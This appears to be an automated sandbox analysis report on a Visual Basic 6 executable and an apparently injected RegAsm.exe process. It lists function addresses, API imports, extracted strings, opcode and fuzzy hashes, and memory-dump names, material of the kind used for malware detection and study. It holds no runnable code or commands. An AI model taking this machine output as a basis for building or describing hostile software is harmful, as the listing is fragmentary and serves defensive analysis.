Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$Free$Ansi$New2__vb$Move$List$ErrorSystem$Destruct$#610#680Copy$#529#536#546#568#592#612#645#662#677#690#704Cast_adj_fdiv_m64
String ID: <-W$Belysningstidens8$Biajaiba$Brandfarligste$CAFETERIAERNE$Cirkumpolar5$Compregnate8$Cynthias$Dispute$ENJAIL$Europerne8$Folkebaaden$Greencoat5$RINDA$SLIPCOVER$SUNDER$TOUPEERNES$Tainan9$UNIDEALISTICALLY$Vanskelighed7$Vulgrsprogenes$dialysate$enfeebler$mitten$neguses$syntaksprincippernes$telefonopkald$undeniably
API String ID: 1309616090-4200294729
Opcode ID: 9e15bfaf58429a031375110bfdf84e63956a78483b5691735b7a67a329bd2370
Instruction ID: 1bc2a9e507c05e6236f34f90819465460e7b605f82994c9615d714525123a14e
Opcode Fuzzy Hash: 9e15bfaf58429a031375110bfdf84e63956a78483b5691735b7a67a329bd2370
Instruction Fuzzy Hash: E4B26F70900219EFDB24DF54DD88BDAB7B9FF48305F1081AAE509B72A0DA746AC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00401438, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6!*), ref: 0040143D

Strings

VB5!6!*, xrefs: 00401438

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6!*
API String ID: 1341478452-2574520878
Opcode ID: c12f08231035c626be8bdf6533e6c7868b33eb2f9f831a1966e3d68df5e7e9cf
Instruction ID: 7114bd8c20bcc6ecb26d63608a41fb9e7e45e1c01762b622149a885cea69d896
Opcode Fuzzy Hash: c12f08231035c626be8bdf6533e6c7868b33eb2f9f831a1966e3d68df5e7e9cf
Instruction Fuzzy Hash: 3E4173A284E7C14FC7038B705C656913FB0AE23224B1A45EBC0C1CF0F3E268184ADB63

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00411E80, Relevance: 94.8, APIs: 46, Strings: 8, Instructions: 330COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00411EF6
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00411F1B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000058), ref: 00411F3F
#689.MSVBVM60(?,Options,Show Tips at Startup), ref: 00411F73
__vbaStrMove.MSVBVM60 ref: 00411F84
__vbaI4Str.MSVBVM60(00000000), ref: 00411F87
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411F99
__vb.MSVBVM60 ref: 00411FA5
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00411FC2
__vbaObjSetAddref.MSVBVM60(?,004011B0), ref: 00411FD5
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000010), ref: 00411FF3
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041200C
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00411008,000000DC), ref: 00412031
__vb.MSVBVM60 ref: 0041203A
#594.MSVBVM60(?), ref: 00412052
__vbaFreeVar.MSVBVM60 ref: 0041205B
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412074
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00412099
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000050), ref: 004120BD
__vbaStrCat.MSVBVM60(0041101C,?), ref: 004120D2
__vbaStrMove.MSVBVM60 ref: 004120D9
__vbaStrCat.MSVBVM60(TIPOFDAY.TXT,00000000), ref: 004120E1
__vbaStrMove.MSVBVM60 ref: 004120E8
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00410AB8,000006F8), ref: 0041210B
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0041212D
__vb.MSVBVM60 ref: 00412139
__vbaObjSet.MSVBVM60(?,00000000), ref: 00412158
__vbaStrCat.MSVBVM60(TIPOFDAY.TXT,That the ), ref: 0041216D
__vbaStrMove.MSVBVM60 ref: 00412174
__vbaStrCat.MSVBVM60( file was not found? ,00000000), ref: 0041217C
__vbaStrMove.MSVBVM60 ref: 00412183
__vbaStrCat.MSVBVM60(0041106C,00000000), ref: 0041218B
__vbaStrMove.MSVBVM60 ref: 00412192
__vbaStrCat.MSVBVM60(0041106C,00000000), ref: 0041219A
__vbaStrMove.MSVBVM60 ref: 004121A1
__vbaStrCat.MSVBVM60(Create a text file named ,00000000), ref: 004121A9
__vbaStrMove.MSVBVM60 ref: 004121B0
__vbaStrCat.MSVBVM60(TIPOFDAY.TXT,00000000), ref: 004121B8
__vbaStrMove.MSVBVM60 ref: 004121BF
__vbaStrCat.MSVBVM60( using NotePad with 1 tip per line. ,00000000), ref: 004121C7
__vbaStrMove.MSVBVM60 ref: 004121CE
__vbaStrCat.MSVBVM60(Then place it in the same directory as the application. ,00000000), ref: 004121D6
__vbaStrMove.MSVBVM60 ref: 004121DD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411008,00000054), ref: 004121F6
__vbaFreeStrList.MSVBVM60(00000008,?,?,?,?,?,?,?,?), ref: 0041221E
__vb.MSVBVM60 ref: 0041222A

Strings

file was not found? , xrefs: 00412177
That the , xrefs: 00412160
using NotePad with 1 tip per line. , xrefs: 004121C2
Create a text file named , xrefs: 004121A4
Options, xrefs: 00411F59
Show Tips at Startup, xrefs: 00411F54
Then place it in the same directory as the application. , xrefs: 004121D1
TIPOFDAY.TXT, xrefs: 004120DC, 00412165, 004121B3

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Move$CheckHresult$Free__vb$ListNew2$#594#689Addref
String ID: file was not found? $ using NotePad with 1 tip per line. $Create a text file named $Options$Show Tips at Startup$TIPOFDAY.TXT$That the $Then place it in the same directory as the application.
API String ID: 2098970117-206723237
Opcode ID: 6cac56f6551929c7bcfcb4bb5237208f99a0b392e43346547add5761eadc36fa
Instruction ID: 8267473a8d48a574cc3d738e2e478c4a7307275d6b15535ed8969a4f14090928
Opcode Fuzzy Hash: 6cac56f6551929c7bcfcb4bb5237208f99a0b392e43346547add5761eadc36fa
Instruction Fuzzy Hash: 9DC14E71E00209AFDB14DFA5DD49EEEBBB9FF58700B10812AF502F71A0DAB45985CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00411A30, Relevance: 22.6, APIs: 15, Instructions: 142COMMON

Download Yara Rule

APIs

#648.MSVBVM60(?), ref: 00411A91
__vbaFreeVar.MSVBVM60 ref: 00411A9D
__vbaStrCmp.MSVBVM60(00410F80,00000000), ref: 00411AB4
#645.MSVBVM60(?,00000000), ref: 00411AD1
__vbaStrMove.MSVBVM60 ref: 00411ADC
__vbaStrCmp.MSVBVM60(00410F80,00000000), ref: 00411AE8
__vbaFreeStr.MSVBVM60 ref: 00411AF6
__vbaFreeStr.MSVBVM60(00411C0B), ref: 00411C04

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#645#648Move
String ID:
API String ID: 2957232524-0
Opcode ID: 51166b5d8338636e716e8e35dbeffbdd41d72402cede181a0344096cf7278fca
Instruction ID: 7a580bb1fe7ff3c1af33a1fec216ee3af550135793ff1041a805abefbad1257d
Opcode Fuzzy Hash: 51166b5d8338636e716e8e35dbeffbdd41d72402cede181a0344096cf7278fca
Instruction Fuzzy Hash: 6D511EB5D00249EFCB10DF95DA44ADDBBB4FF48704F20812AE64AB7260D7746A45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411C40, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00411C8D
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00411CB8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000058), ref: 00411CE0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411CF3
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00411008,000000D8), ref: 00411D1A
__vbaStrBool.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00411D20
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00411D2B
#690.MSVBVM60(?,Options,Show Tips at Startup,00000000), ref: 00411D40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411D50
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00411D60

Strings

Options, xrefs: 00411D3A
Show Tips at Startup, xrefs: 00411D35

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$FreeList$#690BoolMoveNew2
String ID: Options$Show Tips at Startup
API String ID: 1362621338-2759323971
Opcode ID: 6fd1e130956d4585ec60f254f6964bd558cd2cdeb0d10dd47953db044f729d7b
Instruction ID: 00f4ca430a519825a53f974d87bb9ccc77ced744450ef51c06993030807e3630
Opcode Fuzzy Hash: 6fd1e130956d4585ec60f254f6964bd558cd2cdeb0d10dd47953db044f729d7b
Instruction Fuzzy Hash: 43315571940209EFCB00DF94CD89EEFBBB9FB58705F20452AF605F71A0D6B469858BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004137A0, Relevance: 19.6, APIs: 13, Instructions: 109COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 004137E9
__vbaAryConstruct2.MSVBVM60(?,0041145C,00000005), ref: 004137FA
#684.MSVBVM60(00000000,3FF00000,?), ref: 0041382F
__vbaFpR8.MSVBVM60 ref: 00413835
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 0041385E
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00413883
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000118), ref: 004138AD
__vbaI2I4.MSVBVM60 ref: 004138B6
__vb.MSVBVM60 ref: 004138BF
#593.MSVBVM60(?), ref: 004138D7
__vbaFreeVar.MSVBVM60 ref: 004138E2
__vbaFreeStr.MSVBVM60(0041391F), ref: 00413906
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00413918

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$#593#684Construct2CopyDestructNew2__vb
String ID:
API String ID: 3328420742-0
Opcode ID: d6b8ea9125135da27599d38d0d9ff3b51286bf7d7b1101c9b38af8c92243541a
Instruction ID: 06c38d564d47697c94f33a75136b950f1c21a5f7023a8f444361fe9af295b993
Opcode Fuzzy Hash: d6b8ea9125135da27599d38d0d9ff3b51286bf7d7b1101c9b38af8c92243541a
Instruction Fuzzy Hash: 35412770900209EFCB04DFA4DE49ADEBBB8FF58705F10812AE506B72A4D7B45985CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004122A0, Relevance: 15.1, APIs: 10, Instructions: 107COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00410F6C,004011F8), ref: 004122F6
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410F5C,00000024), ref: 00412317
__vbaObjSet.MSVBVM60(?,00000000), ref: 00412336
__vbaNew2.MSVBVM60(00410F6C,004011F8), ref: 0041234A
__vbaHresultCheckObj.MSVBVM60(00000000,004136D2,00410F5C,0000001C), ref: 0041237C
__vbaStrVarVal.MSVBVM60(?,?), ref: 0041238C
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00411008,00000054), ref: 004123A6
__vbaFreeStr.MSVBVM60 ref: 004123AF
__vb.MSVBVM60 ref: 004123B8
__vbaFreeVar.MSVBVM60 ref: 004123C1

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$FreeNew2$__vb
String ID:
API String ID: 618864218-0
Opcode ID: 66fafa3553b6dc02d49b35ef1f70947596300c5b6335a2cdebb62eacb132c26e
Instruction ID: 8041b95c7bfbfe5c08b8751fa60602bc2b714df86a939d71152fbf25544d034c
Opcode Fuzzy Hash: 66fafa3553b6dc02d49b35ef1f70947596300c5b6335a2cdebb62eacb132c26e
Instruction Fuzzy Hash: D5412D70900209AFDB109FA5CD89E9EBBBCFF58744B10801AF951E7260D7B89985CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411950, Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

#593.MSVBVM60(?), ref: 00411992
__vbaNew2.MSVBVM60(00410F6C,?), ref: 004119AE
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410F5C,00000024), ref: 004119CF
__vbaR8IntI4.MSVBVM60 ref: 004119ED
__vbaFreeVar.MSVBVM60 ref: 004119F9

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#593CheckFreeHresultNew2
String ID:
API String ID: 1021104686-0
Opcode ID: a31e7fe92488d0d4e3c0bbc438fb8011e8e49ccea0b87644fb891ecae699a56d
Instruction ID: 8a0dac526a19ec54456e5a704c1015326846aa2ba248783efc6bedadbcb1b198
Opcode Fuzzy Hash: a31e7fe92488d0d4e3c0bbc438fb8011e8e49ccea0b87644fb891ecae699a56d
Instruction Fuzzy Hash: E9117F70901219FBCB109F91EA49BDEBFB8FF09744F10441AF542B25A0C3789495CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411DD0, Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00411E13
__vbaObjSetAddref.MSVBVM60(00000000,?), ref: 00411E29
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000010), ref: 00411E43
__vb.MSVBVM60 ref: 00411E4C

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1108819389.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1108944087.0000000000415000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1108966632.0000000000416000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$AddrefCheckHresultNew2__vb
String ID:
API String ID: 2040920825-0
Opcode ID: bc6c828025d12a4b11acc4c1c5bcba1226b981f9acf9d0079100ed59d7e2aeab
Instruction ID: 1ac0ac69284bca608e7ba8ee6eb26025642a20ff350be5f1e6a9f6a5dc400a3b
Opcode Fuzzy Hash: bc6c828025d12a4b11acc4c1c5bcba1226b981f9acf9d0079100ed59d7e2aeab
Instruction Fuzzy Hash: 32019E70600304FBC7009BA4CE09BDABBBCEB08704F104026B941B31A0D7B869818AA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exe PID: 9036 Parent PID: 8700 RegAsm.exeCOMMON

Executed Functions

Function 0104BA50, Relevance: 4.7, Strings: 3, Instructions: 901COMMON

Download Yara Rule

Strings

,l, xrefs: 0104C348
,l, xrefs: 0104C33A
Hl, xrefs: 0104BE52

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID:
String ID: ,l$,l$Hl
API String ID: 0-1628827627
Opcode ID: 0d4c07f0bffe18fa8f653f2d2a5136a2d07cb12911b07339994175b8acb55a53
Instruction ID: 25d47a47fa37606722f8f1153f259b9092e70757d24dae5e0eb2358d863a3159
Opcode Fuzzy Hash: 0d4c07f0bffe18fa8f653f2d2a5136a2d07cb12911b07339994175b8acb55a53
Instruction Fuzzy Hash: F2727EB0A001198FDB14CFA9C984AAEBBF6BF89304F158479E945DB361DB34ED41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0104C7B0, Relevance: 3.4, Strings: 2, Instructions: 911COMMON

Download Yara Rule

Strings

,l, xrefs: 0104CC40
,l, xrefs: 0104CC50

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID:
String ID: ,l$,l
API String ID: 0-3526677694
Opcode ID: b27da2c46f1548594eac15bd10467d3e67b9c63784fac270aca6ba98a8f5bfc3
Instruction ID: 0310e33222a5c1069fa1f06bbd0d94a53293272ef1701056ed18fe9f321f3669
Opcode Fuzzy Hash: b27da2c46f1548594eac15bd10467d3e67b9c63784fac270aca6ba98a8f5bfc3
Instruction Fuzzy Hash: 07824B70A00209DFDB15CFA8C6C4AAEBBF2BF98314F1585A9E585DB261D734ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E114ACC, Relevance: 2.8, Strings: 2, Instructions: 253COMMON

Download Yara Rule

Strings

lMG , xrefs: 1E116D9F
lMG , xrefs: 1E116C28

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID:
String ID: lMG $lMG
API String ID: 0-3512981765
Opcode ID: de8e9e1ec55f475f57314f3d8ffb327b4ebd7ce383349f38b20ed34bca5c430c
Instruction ID: f076a87be11bbfbb98194fcc57252e4f5bf6f54138c2f384bfa4cfcfa72e72df
Opcode Fuzzy Hash: de8e9e1ec55f475f57314f3d8ffb327b4ebd7ce383349f38b20ed34bca5c430c
Instruction Fuzzy Hash: 39A18F35E047199FCB04DBB4C8949DDBBBAFF89314F268B25E505AF264DB30A981CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01000448, Relevance: 1.7, APIs: 1, Instructions: 180libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01000489

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c9e15f9d9232683f59d3347e163f3f5f821c13c59d8ffbff74092c3de7626c9d
Instruction ID: 99510c948da897b2e9ac3e4d4e3a3aa2fff8d2f262bda3d59c67063b817981b2
Opcode Fuzzy Hash: c9e15f9d9232683f59d3347e163f3f5f821c13c59d8ffbff74092c3de7626c9d
Instruction Fuzzy Hash: A6618374A00219DFEB15DFB4C8987AE7BF2AF88345F118938E446A7394DF35A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E116AF1, Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

lMG , xrefs: 1E116C28

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID:
String ID: lMG
API String ID: 0-2896195646
Opcode ID: e95bd286422079bab76722676dc959e27f0a31a23faaaa3d35de232e53919a60
Instruction ID: c4d35dbf792de92372aad735585bfa6ace96c37b4e1eee009b2be776f75d9c84
Opcode Fuzzy Hash: e95bd286422079bab76722676dc959e27f0a31a23faaaa3d35de232e53919a60
Instruction Fuzzy Hash: D5919435E047599FCB00DFB0C8949DDBBBAFF89314B268725E506AF264DB70A981CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014DD21E, Relevance: .7, Instructions: 659COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea4cc35aa2c130512940bc592a2b8bc58d65a73ccb289162c8c0be462327ffee
Instruction ID: 2289380698aa46509b5e43f1c8fadc29bdcf175b29f8e5bc5c8e1217da1b90f7
Opcode Fuzzy Hash: ea4cc35aa2c130512940bc592a2b8bc58d65a73ccb289162c8c0be462327ffee
Instruction Fuzzy Hash: 9A42A130E042448FEF24DBA8C9547AEBBA2AF85304F25C56AD4099F3E6DB74DC45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 014DBB98, Relevance: .5, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: febea692870f4f126250d6e8c0e8b39aeb34f56a1869366abd638de21e63c9b2
Instruction ID: 0983a49ef8bfaf10c35b275bb3e2f15b74ef2010b493bd411b587640be734ca6
Opcode Fuzzy Hash: febea692870f4f126250d6e8c0e8b39aeb34f56a1869366abd638de21e63c9b2
Instruction Fuzzy Hash: CE12B134B042458FCB01DBF8C8946AEBBF2AF85354F25856AD509DB3A6DB34EC42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1E115E08, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e65bdcfd72ae156c852331fd5cbed8cb0cddbf102a8314861eb0e7011e1c26
Instruction ID: 49dde2c517f1ef41908395fc8ce2606e74ade3ed27f638cc2825b7d3c4c2d15b
Opcode Fuzzy Hash: d2e65bdcfd72ae156c852331fd5cbed8cb0cddbf102a8314861eb0e7011e1c26
Instruction Fuzzy Hash: EF128DF0408F458AE720EF65CD481897BB1F746328B54C22AD2611A2F5DBBD51ABFF44

Uniqueness

Uniqueness Score: -1.00%

Function 01043A50, Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8571af23450b854cad65b0850e8dcfb64d13215e56f21c481c2752ad3ad559ee
Instruction ID: 12e70697800b538103766d795da731af97e617d383bb7376f0de63c2334c51e9
Opcode Fuzzy Hash: 8571af23450b854cad65b0850e8dcfb64d13215e56f21c481c2752ad3ad559ee
Instruction Fuzzy Hash: 9FB19FB0E00229CFDB10CFA9D8857DEBBF2BF88704F149539D955AB294DB749841CB85

Uniqueness

Uniqueness Score: -1.00%

Function 01008C70, Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf7c6f877c60b54d761ef544ad76a035ee35af9fdd4bf4efc84f8784640fb34a
Instruction ID: 14d8aae276f041ff776caa8521b34d2522555a9a2efba17ac5a9ea5bb3eb2343
Opcode Fuzzy Hash: bf7c6f877c60b54d761ef544ad76a035ee35af9fdd4bf4efc84f8784640fb34a
Instruction Fuzzy Hash: E591E034F002149BEB14EBB888457AE7AE7AFC8254F158939E606EB3D4DF74ED018791

Uniqueness

Uniqueness Score: -1.00%

Function 01044320, Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4993119b578587f05135c78a6c5cf95356decb3fd27767e094216a9e6f06b65
Instruction ID: 7f9a668c8cdc3bb7c093c83df91b5703fb85694bd1e0bdcb4da7bb5d2c1dd43d
Opcode Fuzzy Hash: c4993119b578587f05135c78a6c5cf95356decb3fd27767e094216a9e6f06b65
Instruction Fuzzy Hash: 73B14AB0E00219CFDB50CFA9D8817DEBBF2AF88714F148539D955EB294EB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 1E1153F0, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1E1157B6

Strings

lMG , xrefs: 1E115565
\OG , xrefs: 1E1154B5
\OG , xrefs: 1E1155CD

Memory Dump Source

Source File: 00000014.00000002.5637573347.000000001E110000.00000040.00000001.sdmp, Offset: 1E110000, based on PE: false

Similarity

API ID: HandleModule
String ID: \OG $\OG $lMG
API String ID: 4139908857-2568429551
Opcode ID: 86c5653a22e88546b1ca103ee6b4e40879c4324fc5a7688d4e604d580d3d6628
Instruction ID: 6a2e7f520d553c722292ebf9fe2c827cef013ceab079cc0c6cd11299a88a4d16
Opcode Fuzzy Hash: 86c5653a22e88546b1ca103ee6b4e40879c4324fc5a7688d4e604d580d3d6628
Instruction Fuzzy Hash: 12C1CE74A047458FCB14CFB9C4909AEBBF6FF89214B158A39C406DB751EB34E981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010A1D54, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,0001055C,010A2A89,00000800), ref: 010A2B1A

Strings

&G , xrefs: 010A1D54

Memory Dump Source

Source File: 00000014.00000002.5613359453.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: &G
API String ID: 1029625771-971027322
Opcode ID: 9819d94d31250e5ae67f0dca9a4ba0908ce64c6dc68f268f285f57c1aab228ca
Instruction ID: 139f0d708cb426188a645313d95f34c2ffecf221dd9338a6f0f19228937209a9
Opcode Fuzzy Hash: 9819d94d31250e5ae67f0dca9a4ba0908ce64c6dc68f268f285f57c1aab228ca
Instruction Fuzzy Hash: 4D11E4B5D002499FDB20CFDAD444ADEFBF5EF89310F14842AD955A7600C374A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01046958, Relevance: 2.5, APIs: 1, Instructions: 955libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 28377a1ac4311d30b5c38d4c8883673d87525ccf60902a24b8662d23e812349f
Instruction ID: 2e21d7df79585f57ec57effc71ab09feb7cc9d6aafc0335cc4abd7fed26b4384
Opcode Fuzzy Hash: 28377a1ac4311d30b5c38d4c8883673d87525ccf60902a24b8662d23e812349f
Instruction Fuzzy Hash: 48A217B8A04228CFCB65DF74C88869DB7B6BF88305F1181EAD54AA3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01046979, Relevance: 2.1, APIs: 1, Instructions: 631libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d3488ff056616ea1ba41ba88331616d83a8383c1e9a85bd1138698def2eeabb4
Instruction ID: 0e3d39eb45f07c930542efaa106a77b246032bd14201516ea53d90e60ddf3c08
Opcode Fuzzy Hash: d3488ff056616ea1ba41ba88331616d83a8383c1e9a85bd1138698def2eeabb4
Instruction Fuzzy Hash: E4621BB8A08228CFCB65DF74C88869DB7B6BF88305F1181EAD549A3354DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 010469C0, Relevance: 2.1, APIs: 1, Instructions: 622libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01046EF7

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
